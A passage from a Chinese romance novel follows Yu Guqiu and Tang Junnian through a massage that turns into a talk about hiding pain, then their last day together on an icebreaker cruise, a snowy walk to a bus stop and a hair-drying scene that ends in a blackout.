在按摩前虞谷秋认为这是一场对自己意志的酷刑,光是上回在店里被他随意按几下,她就已经心神大乱——这回又该如何招架呢? 可当实打实地体验了一把汤骏年的手劲,虞谷秋的一半已经归西了。 她想,上回汤骏年的力道根本算得上是在抚摸她,不是按摩。他认真下来的按摩真的是对她身体的治疗,根本分不出一点多余心思遐想风月。 但汤骏年问她力道怎么样,疼不疼时,虞谷秋却下意识地脱口说,不疼。 这是她多年的一个惯性,疼也要说不疼,咬住声音就不会被发现,忍忍就过去。以致于按摩也是,明明是自己花钱,她却像个拿钱的,之前栗子问她疼不疼时,不管真实感受,她也都会下意识说不疼。 这次又是如常说不疼,她努力地深呼吸,将快要顶到喉咙的叫声拼命咽回去。栗子的手劲她还可以承受,汤骏年的却不行,她得花大力气装作没关系。 但她身体的变化骗不过汤骏年,他已经慢慢发现她像只准备和人搏斗的小动物一样,每一个部位都绷紧了,视线随意一扫,脚背,肩颈,都无意识地拱起来。 他没点出,而是放重力道又问了一遍:“这个力道疼不疼?” 她说:“不疼。” 手下的身体更硬了。 她越是僵硬,他的心就越是软,也泛着酸。 他垂下眼,狠下心,用更重的力道问:“这个力道呢?” 虞谷秋刚想说不痛,出口却是一声痛叫。 她一下子被按出泪花,愤愤地支起身望向汤骏年,但汤骏年却面无表情地看着她,问道:“怎么了?不是不疼吗?” 虞谷秋一下子愣住。 是啊,是她不断地说不疼,容忍对方不断加码,一直到自己的极限。 汤骏年拢起眉头,认真道:“虞谷秋,不要掩盖自己的真实感受。疼就是疼,不疼就是不疼。就直接说出来。” 虞谷秋望着他的眼睛,发了好一会儿的呆。 她呆呆地脱口而出:“我……我试试看。” 她说,我试试看。这话让汤骏年也怔然,那股想要替她先一步委屈的感受又冒出来了。 他握住她的肩,没有质疑这个说法奇不奇怪,放缓语气:“那再来一次。” 虞谷秋本来想说不用了,就这样吧,但她接触到汤骏年的视线,他的眼睛是湿润的,她的心好似也慢慢被打湿,身体灌进水份,慢慢往下坠。 她重新趴了下去。 汤骏年的手隔着毛毯重新按下去,再一次耐心地问:“这个力道疼不疼?” 在虞谷秋即将脱口而出的瞬间,汤骏年先一步道:“好好感受你的身体,这次慢一点再回答,不着急。”他慢慢按,慢慢讲,“我跟你讲一个我这几年工作下来的感受吧,那就是我按过的这些人里面,我发现那些身体特别硬,堵得厉害的都是很能忍的人。有些也会说不疼,有些会跟我讲可以再按重一点,他们可以忍。” “而你呢,是这些人里最能忍的,所以你的身体甚至比那些乱发脾气的老头都要硬。” 虞谷秋郁闷道:“真有那么硬吗?” 他玩笑道:“真的,虞谷秋,我们不能连老头都输吧?” 虞谷秋把脸闷在枕头里,闷闷地切了一声。 “现在告诉我,这个力道可以吗?” “……”虞谷秋依旧闷在枕头里,声音含糊地传来,“再轻一点。” 汤骏年的眉眼随着手劲松开,柔声道:“好。” 虞谷秋发现这次调整好力度之后,得到的感受果然是完全不同的。舒舒服服,不需要刻意忍耐,身体依旧能得到放松。 她之前一直有个认知,按摩嘛,要揉开堵塞的脉络,必然是要下狠劲的,越痛越好,就和人生一样,这是必经之路,熬下来才算数。 可真的是这样吗?她开始感到茫然。 有时候不需要强撑也会有顺其自然的结果吗? 虞谷秋在迷迷糊糊间,觉得汤骏年按开的不只是她身体里淤堵的部位。纵然那些化开的东西暂时还找不到排解的去处,但它们在她的身体里松开了,她逐渐感受到自己的轻盈。 快舒服得睡过去之前,虞谷秋猛然惊醒,惊觉汤骏年已经跪在地上替她按很久了,这样不行。 她一个弹身起来,拍拍自己的脸说:“好了好了,按到这里就行了,我满血恢复了!” 汤骏年见状也不再勉强,活动身体起身。 虞谷秋察觉到他一闪而逝的疲惫,意识到他今天同样爬了那么久的山路,可不比她轻松,现在还为她服务这么久。 她迟疑道:“要不换我帮你按按?虽然我肯定不如你专业。” 汤骏年没有立即回答,视线飘忽了一会儿,才看向她:“那就简单按几下吧。” 虞谷秋立刻倍感振奋地点点头。两人互换位置,虞谷秋这个身高弯腰倒是没问题,扯过刚盖在自己背上的毛毯盖到汤骏年背上,有样学样地问道:“你重点想按哪里?应该也是腰吧?” 她手要往那里去,被汤骏年反抓住手。 他说:“我腰比较敏感,不用按那里。” 虞谷秋缩回手:“那我帮你按……”腿好像也有点尴尬,腰也不行,“帮你按肩颈吧!” 肩颈的话毛毯也不需要了,他穿的是高领毛衣。她隔着毛衣碰到他的肩头,他轻微地缩了一下,这让虞谷秋忍不住想打趣他:“你真的只有腰敏感吗?” 他沉默。 虞谷秋这才觉得自己问得古怪,连忙转移话题有样学样:“我这个力道可以吧?” “嗯……要说实话吗?” “当然。” “像小鸟羽毛在蹭我。” “……” 虞谷秋按的手一顿,接着,深呼吸,吐气,青筋毕现地往汤骏年的肩头按去。 “这下总不轻吧?!” 汤骏年为难地嗯了一声,听上去略显勉强。 虞谷秋备受打击:“我手劲这么小吗?” “不是。”他带着笑意道,“只是你找不准穴位,按在皮肉当然不会有太大感觉。” 这种说法让虞谷秋宽心几分,下意识说:“那我下次好好研究一下穴位。” 汤骏年侧过头来:“还有下一次吗?” 虞谷秋找补道:“没说给你按。” “那要给谁呢?” 虞谷秋答不上来,抿住嘴巴,收回手说:“今天就到这儿吧,反正我也按得没作用。” 她直起身准备走,收到一半的手又被汤骏年一把牵住。 他半倚在沙发上,毛衣刚才被她按起褶皱,看上去乱七八糟的,他的头发也被压得有点乱,自下而上地望着她。 虞谷秋看呆了一秒,以致于后知后觉地想抽回手时,手已被他紧握在手心。 她撇开眼神:“……干嘛?” “你刚刚说想要研究这方面,我可以毛遂自荐,当你的老师吗?” 说话时,他从沙发上起身,身型慢慢盖过她。 他松开手心,不再禁锢她,虞谷秋却不知道该往哪儿走了,愣在原地,看他伸手过来抚了一下她的头发。 虞谷秋抬眼看他。 他低下头道:“刚刚你起来的时候这处就被压乱了。” 虞谷秋下意识地又去拨自己的头发,胡乱顺了两下。 汤骏年静静地看着她动作,在她之后却又伸手过来,笑着说:“你反倒弄乱了。” 虞谷秋微微低下头,感受着他的整理,与刚才的触感微妙的不同。他放慢了动作,手指插入她的发间,划到后脑勺,摸到后颈,摁住其中一处。 “这里是风府穴,我上次告诉过你的,还记得么?” 他真的顺势教起她来了,这让虞谷秋想要呵斥他收手的气势矮下一截,思绪被带着走,含糊地脱口说:“记得。” “真的记得?”他又重新坐回沙发,侧背过去,指着自己的后脑勺,“那你摸给我看,我来检查。” 虞谷秋盯着他理得很干净的后颈,他低着头,高领毛衣遮住的脖子被抻出一截,那里真是一个适合留下痕迹的部位。 惊觉自己在想什么,虞谷秋手心发热,将手背到身后。 “其实不记得了……” 汤骏年转回身,伸出手:“那把手给我,我带着你再找一次位置。” “不用了。”她垂下眼睛,“我改变主意,不想研究了。” 汤骏年并没有因她的变卦置气,沉静道:“没关系,那等你哪天再有兴趣吧。今天不行就明天,明天不行就后天。”他语气微顿,尔后说,“反正我还有一辈子的时间。” 虞谷秋听得发怔,莫名觉得这话听上去有几分耳熟。 汤骏年提醒她:“看来你忘了,这是你曾经跟我说的话……在我们刚打赌那阵子。” 虞谷秋努力回忆,模糊地想起来似乎确有其事。现在再想起来只觉得是另一个人会说的话,她又变回了虞谷秋,也不再拥有如此蓬勃的勇气了。这二十八年来如履薄冰的人生才是她熟悉的。 她仍是垂着脑袋,闷闷地回他:“是吗,我随口说的,你不要当真。” 汤骏年这时看着她笑了。 “没关系,那是你的一时兴起也好,但对当时的我来讲很重要。”他说,“所以我现在把珍藏的这句话还给你,我是认真的。虞谷秋,你不再喜欢我了,但我还有一辈子的时间,我会一遍一遍地用来试你会不会再次喜欢上我。” 虞谷秋沉默了很久,回他: “我已经改签了,初四就回去。” 哪有一辈子,他们在一起的时限只有一天了。 第59章 她决定改签的原因很简单, 只是这么和汤骏年呆一天下来,她就逐渐力不从心,感觉到自己的动摇和迟疑。在墓地的那个瞬间, 她几乎想要脱口而出,把自己为什么离开的真相交底。但这样的话……她的坚持算什么呢。她又会想, 自己真的有必要坚持吗? 这样的念头撕扯着她, 她感觉到思维混乱,不能再深想下去,那不如快点离开吧。 虞谷秋还没来得及计划最后这天要去做什么, 汤骏年就说交给他来安排,她欣然地做起甩手掌柜,毕竟这样的机会很难得, 之前的旅行都是一个人,制定计划都得靠自己, 她不会有这样随波逐流的时候。 这最后可以心无旁骛游玩的一天,汤骏年没有要求她必须要几点起来,让她睡到自然醒就好。但虞谷秋悄悄设了闹钟,这仅剩不多的可以和他在一起的时间,她一点不想浪费。 她以为自己起得够早,结果睁开眼时就隐隐听到了客厅里传来的动静——汤骏年更早一步起来,依然在做早餐了。 两人像昨日一样面对面吃完早餐, 汤骏年叫车到了栖云市的老街,沿路有许多卖手工艺的店铺, 逛的大都是游客, 在这里挑些伴手礼回去最方便。 两人都给同事买了一些纪念品,虞谷秋在心里算着要送的名单,家人并不考虑在列, 毕竟她现在已经是离家出走的状态。 不过在路过一家花店时,虞谷秋看到橱窗上陈列着一只特别漂亮的喷壶,壶身是很亮眼的橘色,恰好是胡采春最喜欢的颜色。 她知道胡采春肯定等不到来自虞文夏买给她的喷壶,想必她之后还是就凑活地用那个坏掉的……汤骏年见她停下来看着橱窗发呆,问道:“要买这个吗?” 虞谷秋没头没尾地说了一句:“嗯,我想最后试一次。” 她买下喷壶,当即拜托店主寄出。 买完所有礼物就到了午饭时间,汤骏年也早早选定好餐厅,但严格意义上来讲它并不是真正的餐厅,只是配有吃饭的服务,真正的吸睛点在于一整面的米酒墙,用不同的风味酿出来,甜度和辣度各有不同。食客来这里只需要交几块钱就能分到一只小杯子,可以随意喝三杯,再配上下酒菜,就在桌子边站着吃喝。 虞谷秋对此感到诧异:“怎么选了这家,你现在不排斥喝酒了吗?” “也不完全是,我想开始尝试不排斥。”他回答,“而且我记得你说过喝酒会让人开心,至少你会开心。” 虞谷秋恍惚道:“你怎么记得那么清楚,我自己都忘了。” “你说过的话我当然记得。” 她玩笑:“全部吗?” 他却很认真地回答:“那你太高看我的记忆力了,那是十八岁的我才能做到的事。” “……那也很变态了!” 他笑起来:“不,是因为十八岁的我们没怎么说过话。” “……” “所以,二十八岁的虞谷秋同学,再和我多说些话吧,哪怕只剩下这一天。” 虞谷秋低低地嗯了一声。 终于排到他们,两人各被分到一个杯子,可以去挑选酒。 汤骏年接了一杯尝了一口后,眉梢微挑,转头问她:“这一种米酒酿得比较甜,会是你喜欢的口味。你要不要尝尝?” 虞谷秋迟疑片刻,还是说实话:“其实我喝不了酒。” 汤骏年一怔:“之前不是可以喝吗?” 他当然不知道是癫痫的缘故,医生说为了预防必须要滴酒不沾。 虞谷秋打哈哈:“我最近开始注重养生了,决定戒酒。” “……对不起,我选错餐厅了。”汤骏年反省说,“我应该事先问你。” “没事啊,这里虽然酒是招牌,但也有非酒精饮料。”虞谷秋说着就去接了一杯喝给汤骏年看,然后比了下大拇指,“不是酒也很好喝哦,真的!” 他低头近距离地看着她,眼神一闪,说:“是吗?那我也试试。” 他没有让她分给他杯子里一点,而是直接弯下腰,手托着她的手,微微使力让杯子倾斜,就着她手拿酒杯的姿势浅尝了一口,如此自然,靠近的鼻息烧到她抵在杯边的手指。 虞谷秋立刻结巴道:“你怎么……” 他咽下饮料,抬起眼,滚动着喉结含糊道:“怎么了?” 他的自然衬出她的扭捏,仿佛他们就该这样亲密地分享一个杯子才对,可当然不是这样。 虞谷秋跟着咽了咽喉咙,语气持续接结巴,你了半天没说出所以然。 汤骏年端起他的杯子,贴心地主动解释:“我的杯子现在装满着酒,你别介意。” 虞谷秋差点被他糊弄过去,大脑宕机一下又飞速重启:“那你可以先喝完你的我再倒给你啊!” 汤骏年微微笑着点头:“是,刚刚没想到,太着急来喝你的了。” 胡说八道。 虞谷秋瞪他,让自己冷酷地拉下脸,背过身继续自顾自挑饮料,手指却在背过身的瞬间蜷了起来,止不住地轻轻搓揉着那份热气扑在上面的触感。 接下来她绷紧神经,防备着汤骏年又突然来上那么一下,可汤骏年却开始举止礼貌,没有再做出任何过界的举动,哪怕他们的独处时间正在一分一秒地倒计时,他就任时间就这么浪费着,站在她对面喝酒,拿着下酒菜蘸酱吃,听餐馆里放一首老歌,彼此连交谈都甚少。 虞谷秋的神经又松下来,伴随着可耻的失望。 她想她快精神分裂,一方面希望他就像现在这样,安然挨到分开就好。一方面却仍然在渴望着他的进攻,渴望着他挑动她的心跳。 下午的时间他们不能免俗地挑景点逛,这是一座完全陌生的城市,汤骏年依然需要盲杖帮忙,但不再需要将手搭在她肩头依赖她引路,所以他们移动的速度比起常人要慢上许多,最多也就逛了两个地方,转眼到太阳下山,汤骏年带着她立刻急匆匆赶往码头。 他们排在五号码头前的列队里,这里停着一只体积相当大的破冰船。船身是刷得鲜亮的橘色,迎着海平面的夕阳,两种不同饱和的颜色混在一起,浑然一体。 这是来冬天的栖云必须要体验一把的项目,汤骏年运气算不错,逼近日期订也订到了,虽然只订到了最后一班,在日落时分出发,不过到了流冰区域天色就暗了。 虞谷秋是头一次听说破冰船,毕竟她从前连船都少坐。京崎是个内陆城市,她的人生里连海都没见过几回,更别说能有机会看到漂浮着流冰的海面,更想象不出船要如何在这样的海面上行驶。汤骏年跟她解说得头头是道,其实自己也一无所知,全是从网上做的功课。两个人像第一次春游的小学生,满怀期待地登上了破冰船。 夕阳落到一半的时候,载满游客的船体迎着金光出发了。 船长说要半个小时后才会慢慢看到浮冰,劝大家先去船舱里坐着等待,舱内可以烤火,很温暖。这个季节的海上会很冷,尤其日落下去后更叫人吃不消,所以这一班才会空出余位。 但虞谷秋却兴奋得身体发热,将船长的劝说抛在脑后,跑去船尾的甲板上欣赏离岸的城市,以及一路拖出金色浪花的海面。 汤骏年走在她身后,他收起了盲杖,一路摸着船檐。虞谷秋回过神,立刻放慢了激动的脚步,等待着他跟上来。 两个人慢慢并起肩,停在船尾的一小块空处。 虞谷秋找好拍摄角度,唰唰唰地拍下了许多重复的照片。明明这样的角度一张就够,她也说不明白为什么非得拍好几张才觉得算是拍上了——但其实并非是一模一样的角度,每张的镜头都在逐级倾斜,最后一张照片,不动声色地框入了身边汤骏年的半边手臂。 她心跳如雷地立刻按灭手机插进兜里。 汤骏年没有察觉地看过来,问:“不拍了吗?” 虞谷秋含糊点头:“太冷了,手机掉电好快啊,留点电等到有冰的时候再拍。” “其实那边已经有一点漂过来了。”他探出头指了指远处。 虞谷秋顺着看过去:“……没有啊?” 汤骏年一呆,恍了下神说:“啊,真的没有了。” 虞谷秋反应过来,忍不住哈哈笑:“你看见的是反射的阳光吧。” 他不好意思地点点头:“你别笑我眼睛不好。” 说这话时,汤骏年的语气软绵绵的,真可爱。 她遏制住坏心思,收住笑说:“你的眼睛已经好很多了,会随着恢复越来越好的。” 就像你会遇到更好的人的,她高兴地想。 汤骏年附和地扬了扬嘴角,脸上却没什么笑意。 最后一点夕阳落下海平线,但天空仍有橘色的余韵,不过在另一方,天空已经呈现出类似海面的幽蓝,两种颜色分割着世界,温度在拉锯中骤降。 虞谷秋冷得把脸埋进围巾,视线一扫旁边,汤骏年的手都冻得发青了。 “你的手套呢?” “放在昨天的大衣口袋里,忘拿出来了。” “……”虞谷秋便道,“那你进船舱里去烤火吧,不要站在这里了。” “没关系。我喝过酒,身体里还是挺热的。” “那都是几小时前了,酒劲早过了吧!” 他淡淡地笑着坚持:“真的不冷啊。” 虞谷秋欲言又止,最后狠下心撇开眼睛。 两个人无言地站在船尾感受着海上傍晚的风,汤骏年摸出耳机,分了一只过来问:“要不要听歌?我最近找到一首歌,其中的键盘手难得是坂本龙一。” 虞谷秋好奇道:“坂本龙一?他参与的流行歌吗?” 他点头,虞谷秋没耐住好奇接过耳机,耳机是有线的,他不得不站近一点,两人的大衣擦在一起,耳机线呈“Y”字,将他们的脑袋连在一起。 汤骏年接着掏出手机,他用密码解锁屏幕,却好几次都不成功,手指已经冻得很不灵活了。 虞谷秋自然也没漏掉这个细节,缩在手套和大衣里的手指难熬地蠢蠢欲动,再次狠心将视线掠过。 「再会之事就此作罢/压抑着心绪说再见吧 夜尽天明/离别之时将至」 天色逐渐昏暗,船两边浮现出流冰,仿佛流冰有生命意识一般,昼伏夜出,见日光消失了才一个两个地从海面下浮出纯白色的面孔。 刚才焦急期盼着的两人这时却都不着急去看浮冰了。 听着耳机的歌,海鸥飞过天际线的流云,呼吸间的白气朦胧地聚拢又散开。 「我紧紧拥抱你/紧紧相拥」 听歌的两个人岔开站着,不如一句歌词坦然。 浮冰越来越多,越来越多。 天色的拉锯战终于到了尾声,世界被一片深蓝色包围时,船身开始轻微地震荡——船头的钻头开始破冰了。 船舱里陆续有人出来,虞谷秋一边听着歌,另一边闲着的耳朵听见兴奋的呼叫,听见纷至的脚步,静谧的船尾不复存在。 「时间啊/若能倒流 相爱……」 身后有一群人经过他们,其中一人不小心撞向虞谷秋,她往前一踉跄,耳机脱出耳朵,歌也中断了。 汤骏年皱起眉看向那个撞人者,对方却毫无所觉,正抬着头,一边推着他的同伴们说:“下雪了!是不是下雪了!” 虞谷秋此时也顾不上被撞的懊恼了,连忙抬起头,率先落下一片湿意——真有一片雪花融化在脸上。 雪花下得很小,很细,不如在京崎时下得庞大,因此汤骏年昂头看了半天,并看不出它的踪迹,但他能感受到它确实地来临了,它落下来,落在他的脸,落在他的手,落在虞谷秋小声的惊叹里。 她晃了晃他说:“你看见了吗?” “看见了。”他回答,“很美。” “这样也算我没有食言吧!”虞谷秋兴奋道,“还是一起看雪了!” 最后这一天,他们竟然能一起看一场雪。 又有厚重的脚步声朝船尾过来,是船长,他来叫大家往船头走,已经正式进入冰原了,那边角度好,一览无余。 虞谷秋感受到船身的震动比起刚才的确频繁许多,它很有节奏,抬升,下压,如一只匍匐在冰面上的巨大猛兽,保持着某种频率呼吸,而身处在猛兽身体里的众人却被眼前的景象惊得忘记呼吸。 如此壮阔无垠的纯白冰原,像是连梦中都不会出现的世界。再遇上难能可贵的落雪天气,这些雪纷纷扬扬地洒在碎裂的白色浮冰上,衬着静谧的深蓝,让虞谷秋想起上午在手工艺品店看到的雪夜流麻灯,长方形的水晶将世界包起来,打开灯就落雪花,洋洋洒洒,她怀疑自己就存在在这样一座灯里。 船头此时人满为患,大家都举起手机兴奋地拍照,虞谷秋回过神后也不例外,摘掉手套去摸手机。 身边的汤骏年也是如此。但是他的手比刚才还要不灵活,拿出手机的刹那间手指僵硬地甚至拿不稳,手机沉沉地掉在地。 他已经冻得不太行了。 虞谷秋却知道让他独自回船舱他也不会听,不然刚才那算不上精彩的景色里他就应该乖乖回船舱里取暖,而不是傻站在她身边。 虞谷秋转念间将还没拿出去的手机又塞回大衣口袋,转而拍拍汤骏年的肩头。 “我们回船舱里吧?” 他一愣,以为自己听错。 “现在?” “对。”虞谷秋故意皱起眉头,“现在这里都是人,很挤,找个拍照的景都难。等人稍微少点我们再出来好了。” 船舱里还留有几个零星怕冷的人,他们围坐在电子壁炉前,里面其实是个小太阳,这就是船长说的“烤火”,很有意境的说法。壁炉身后就是一面洁净的舷窗,虽然很小,但也依稀可以眺望外头的飞雪和冰原。 虞谷秋领着汤骏年进来,两人抖落身上的雪在炉边落座。她伸手靠近小太阳,顿觉得浑身的寒气被驱散,整个人活过来。连她都是如此,很难想象一直光着手的汤骏年是怎么忍下来的。 她往旁边看去,他青白的手在温度的炙烤下迅速发红发胀。 “你的手现在好像小猪蹄。”她忍不住笑。 他忽的将手凑近她嘴边:“那你要吃吗?现在有烤得八分熟了。” 虞谷秋蓦地抿住嘴巴,接话道:“黑心摊主,明明才烤了一分熟就来兜售了。” 汤骏年笑着收回手,又摸了摸热胀的手指说:“可是一分熟也已经很肥了。” 他视线一飘,忽然看见对面的小女孩直勾勾地盯着自己,嘴里哧溜地飘出两个字:“猪蹄……” 女孩的妈妈驾轻就熟地把她的脑袋掰回去:“乖,那个不能吃。” “为什么不能吃?” “你这个年纪吃不了,等十八岁以后吧。” “哦。” 虞谷秋和汤骏年听着她们的对话,两人的耳朵跟着被一起烤红了,接下来谁都不再跑火车瞎说话,心不在焉地听别人说。 他们旁边的长凳上坐着一对女生朋友,其中一人很可爱地在为小鱼们忧心:“雪都被浮冰挡住了,落不到海里,海里的鱼就看不到雪了,好可惜。” 另一人安慰她:“没关系呀,海里面有自己的雪。” “海里也会下雪吗?” “说是雪,其实不是雪。”女孩解释,“我上次看到科普,那些雪是海里快死掉的浮游生物组成的,还有各种鱼的粪便啦,泥沙,尘土……但是呢,它们组合在一起,在海里面漂浮的时候,看上去就像是一场下在海里面的雪。” 同伴感叹:“挺有意思的,这些不起眼的脏东西居然能变成一场纯白的漂亮的雪。” “不过哪里比得上真雪好看嘛,出不出去拍照?天马上要完全暗了!” “走走走。” 两个女孩子叽叽喳喳地跑出去了。 汤骏年看了一眼空掉的座位,又看向虞谷秋:“你呢?” “什么?” “天马上要黑了,快出去拍照吧。你刚刚不是因为我才想进来的吗?” 虞谷秋支吾道:“你别自作多情,根本不是。” 汤骏年闭上眼睛,忽然说:“你撒谎的时候,声线会比平时说话要高,听上去很飘。就是你刚才说话的样子。” 虞谷秋下意识一惊:“真的?” “本来不是很确定,但现在确定是真的。” 这都第几次了!虞谷秋抓狂,她怎么总是被他下套! “你果然因为我才进来的。”他慢慢睁开眼,看着她,“你为了我放弃看那片冰原,为什么?” 虞谷秋低下头,小太阳的高温让人连眼周也发烫。 “因为我人好。” 汤骏年恢复灵活的手指重新掏出耳机冲她晃了晃:“刚才断掉的歌,还要继续听完吗?” 虞谷秋摇摇头:“……不了。” “那就可惜了。”他的手伸过来,变得温暖的手终于敢来碰一碰她的头顶,那里还顽固地积了几簇未融化的雪花,他替她拂掉,“你没听完整的那句,是我整首中最喜欢的一句歌词。” 「时间啊/若能倒流 相爱这回事/也能如我所愿吧」 第60章 破冰船返回岸边时, 天色完全落幕,港口灯火通明,雪却越下越大, 两人顺势在港口吃完饭,雪花已经薄薄地积了一层。 黑色的大海和白色的大地, 这一幕虽美, 但如果一直驻留在这里看这一幕就不美了。 两个人的叫车软件都叫不到车,突发的降雪天气导致用车紧俏,栖云没有地铁, 最近的公交站在两公里之外。 没有犹豫很久,他们决定收起手机,走两公里去公交站等车, 趁雪没再积厚之前回去,正好消消食。 在雪天里散步, 臆想上很浪漫,实际上体验却是南辕北辙。天气冷,路面滑,雪花虽然不似雨,但想要不湿全身还是得努力走两步就抖一下身体。虞谷秋就保持着小心翼翼的走姿,一边走一边蹦跶。 汤骏年不蹦哒,他很快就变成了一个白色的大雪人。 虞谷秋瞅他一眼:“你快被雪盖满了, 快蹦一下。” 他没辙地说:“非要这样吗?” “谁叫我们没伞呀。” 汤骏年在她期盼的目光中浅浅地蹦了一下,雪花意思意思地从他的黑色大衣上落下一块, 又很快被补满。 虞谷秋不太满意, 立刻又给他示范了一遍:“你得像我这样大幅度才有用。” 汤骏年别过眼,张口说:“你别再蹦了。” 她不依不饶:“你自己不想蹦还拦我。” 他呼出一口气,很伤脑筋。该怎么告诉虞谷秋, 他看着她的动作,就会想起很久以前看的电影龙猫。她蹦跳的样子就像一只小龙猫,尽管她和龙猫没有一点搭的地方,那样瘦小,却压过龙猫数百倍千倍的可爱。让人只想在她腾空的刹那间张开怀抱,期待着她会跳进来。 而令人失落的地方就在于,他知道她不会跳进来。 虞谷秋见他沉默下去,以为自己这个动作讨嫌,便真的不再蹦了。 两人又恢复了同样的步调在雪地里走,虞谷秋关心道:“你需不需要搭着我?” 天色太暗了,港口这一带路灯的间隔很长,中间有段路几乎是摸黑的,寻常人走过都会觉得困扰吧,更别说视力并不好的汤骏年。 但汤骏年闻言回说:“没关系,我能应付。” 虞谷秋偏过头,两人走过昏暗地带,脸庞重新被路灯照耀,她发觉出他的不快。 她心头一紧,即刻道:“对不起!” 汤骏年诧异地看过来:“怎么突然道歉?” 虞谷秋小心翼翼地反省:“我刚刚让你烦了吧?” “什么,你说蹦吗?完全没有。” “我能看出来你在不爽。”她小声咕哝,“你刚刚表情很可怕。” “那是因为你在关心我。” 虞谷秋低下头:“……这样问很烦人吗?” 汤骏年顿了半晌,蹙起眉头:“虞谷秋……你怎么到现在还会这么想呢?如果没有你的关心,我不会有勇气变成现在这样。任何一个人碰上你的关心都是一种绝无仅有的幸运,像刮中唯一的那张彩票。” “即便你不喜欢我了,却还持续地给予我这种关怀,让我能多兑一会儿奖……而时限要到了。我无法克制自己不去想你下一位真正想给出关心的人,那个人会是谁,你会对他多不吝啬。我还不认识他,但他已经成为我在这个世界上最讨厌的人。” “我想到他,我怎么会有好脸色?” 汤骏年说的语气是很平淡的,但说到最后,虞谷秋依然听到几分没压抑住的厌恶。他这样一个人,连面对林淑秀到最后都会落泪的人,会对别人真的生恶吗?到这一刻她才知道,他会的,他会因为她而憎恨别人,哪怕是一个还未到来的人。 真是……真是…… 虞谷秋深深地扬起头,让雪花抚平此刻的汹涌。 两人走过路灯带,又来到了一片间隔的昏暗中。虞谷秋仍昂着头,心想自己若是一片雪花就好了,可以不用顾忌亲密无间地落在他肩头。 她知道她不该有怨言,选择现在这个局面的人是她,她不能有怨言。 于是在这片昏暗中,她纵容自己走得歪扭了些,这样肩头就能轻轻碰到他了。 * 两人在雪地里走了大约半小时,终于远远望见了一个公交站,只是不巧,在他们之前已经排起了一列长队。 他们排到队尾,她数着蛇形队伍的人数,开始担心他们会挤不上公车。 好的预感通常不灵,坏的却往往灵验,这就是虞谷秋大多数时候的经验。然而车到来时比她的感觉还要恶心一点——这辆公车刚好卡在他们即将上去前,司机叫嚷着塞不下了塞不下了!啪一声在他们跟前关上车门。 虞谷秋懊恼又无用地踢了把雪,汤骏年却平和地说:“我们很幸运啊。” “哪有,差一点就可以上车了啊,这不是倒霉吗……” “你要想下一辆车到的时候我们就会有位置,不必站着挤回去了。” “话是这么说,但是下一辆也不知道什么时候来,你还没戴手套……” 汤骏年微怔。 “原来你是在替我着急吗?” 虞谷秋进退两难。 汤骏年笑了笑,垂下眼:“放轻松,我不会继续自作多情,你对我的关心只是惯性吧,我知道。” 虞谷秋瞬间感觉自己呼吸不过来。 她急匆匆脱下自己的手套给他,汤骏年忍不住笑说:“给我穿吗?” 虞谷秋猛点头,完全不顾她的手套他是不是能塞下。 他看着她抓着手套伸过来的手,这又让他想起飞飞,那个纯粹爱着他的小狗。它叼着他的玩具过来他身边,一心一意地要与他分享。 汤骏年从不会拒绝小狗的玩具,也没道理拒绝这双手套,他拿过来,却又握住虞谷秋的手,将两只手套帮她戴回她手上。 他边戴边说:“我不冷。在最冷的时候你握过我的手,我就不会再冷了。“ 戴的时候,他的手指难免碰到她,明明那么那么冰冷,可他却无比笃定说他再也不会冷。口气毫无逞强,他是真心的。 虞谷秋该去反握住他,用自己的温度让他回暖一些,但最后她只是将手放进口袋,想象自己的口袋是一座监狱,她把一双手关押进去,把自己的心关押进去。 * 两人回到民宿已经是一个半小时之后,他们各自冲进房间洗热水澡,虞谷秋沐浴在温热的水流下,一时间感觉自己身在天堂。 磨磨蹭蹭洗了快有半小时,等她裹着头发换完睡裙出来,汤骏年的房间早已经听不到任何动静,她想他可能是先睡了。 而她得开始打开行李箱着手收拾行李。 旅行结束的前夜是最令人怅然的时候,浓度和出发前夜的快乐呈正比,尤其当你知道这是一次绝版的旅行。 虞谷秋无精打采地将白日买的礼物全都规整地在箱子里码好,然后就呆在箱子前,想不起来下一件物品放在哪儿。 她回过神,抬眼,看见汤骏年路过她的房间,穿一身黑色睡衣,正在门口看她。 “要帮忙吗?”他问。 “不用……你还没睡吗?我以为你睡了。” “没有,我刚刚也在收拾行李。既然你改签了,我也没理由继续呆着。”他的目光落在她的包发毛巾上,“行李不需要我帮忙的话,头发我帮你吹吧?” 虞谷秋下意识要拒绝,他直直看着她,软声说:“这是最后一晚了。” 到嘴边的话拐了个弯,变成:“好吧。” 汤骏年分外高兴,眉眼弯弯的,说:“来客厅沙发上吧,坐着我来帮你吹。” 他去自己房间里拿来了吹风机,虞谷秋反坐到沙发上,取下毛巾,已经绞干的头发仍带着一些潮气,一缕缕地垂下来,又被汤骏年接起。 他站在她身后,没有着急打开吹风机的开关,而是将自己的手当作梳子,从她的头顶插入发丝间,一点一点顺下来。 这个触感让她想起昨夜,他帮自己抚平头发时也是这样入侵她,真不知这就是他的习惯,抑或是他打定了主意要这么对她。 她的头发其实很顺,但他耐心地捋了一遍,又一遍。 然后他说:“你的耳朵越来越红,很热吗?” 虞谷秋侧过身去恼怒地看他:“你到底要不要吹?” 他将她的脑袋正回去:“现在就来帮你吹了。” 汤骏年终于按开了吹风机,最小档,声音嗡嗡地贴着她转,从左边到右边,他反复拨开她的头发,一边漫不经心地问:“你的洗发露是什么牌子?” 她听得含糊,确认地反问:“你在问我洗发露吗?” 顷刻,他弯下腰,声音贴近她的耳廓。 这是一个可以背后拥抱的姿势。 “对,我在问你的洗发露。”那声音直直钻进她耳朵里,再无听含糊的可能,“吹起来的时候有山茶的味道,很香。” 虞谷秋轻轻吞咽,挤出声音:“我……回头把链接发给你。” “好,谢谢。” 声音飘远,他站直了身体。她紧绷的双肩也悄然放松。 她其实很想对汤骏年说,你何必来问我洗发露呢?你不知道你自己的洗发露有多香吗?他贴近的刹那,身上清新的香气也向她袭来,并未随着他远离而散开,依旧包围着她。 最小档的风,吹了半天头发还是很潮,虞谷秋越来越感觉难熬,提醒他:“风力要不要再大一点?” 汤骏年道:“那样会伤头发,还是慢慢来比较好。” 她只好说:“……其实我有点困了。” 想要快速结束这一切,趁她最后一点理智还没有被吹散,趁她的身体还没有被情欲塞满。 汤骏年又慢吞吞地吹了一会儿,才说:“好。” 可就在他调节按钮的刹那,耳边的吹风声不强反弱,立刻息止了。 虞谷秋愕然张望整间黑下来的客厅—— 断电了。 天地仅剩窗外微亮,大雪仍纷飞。 * 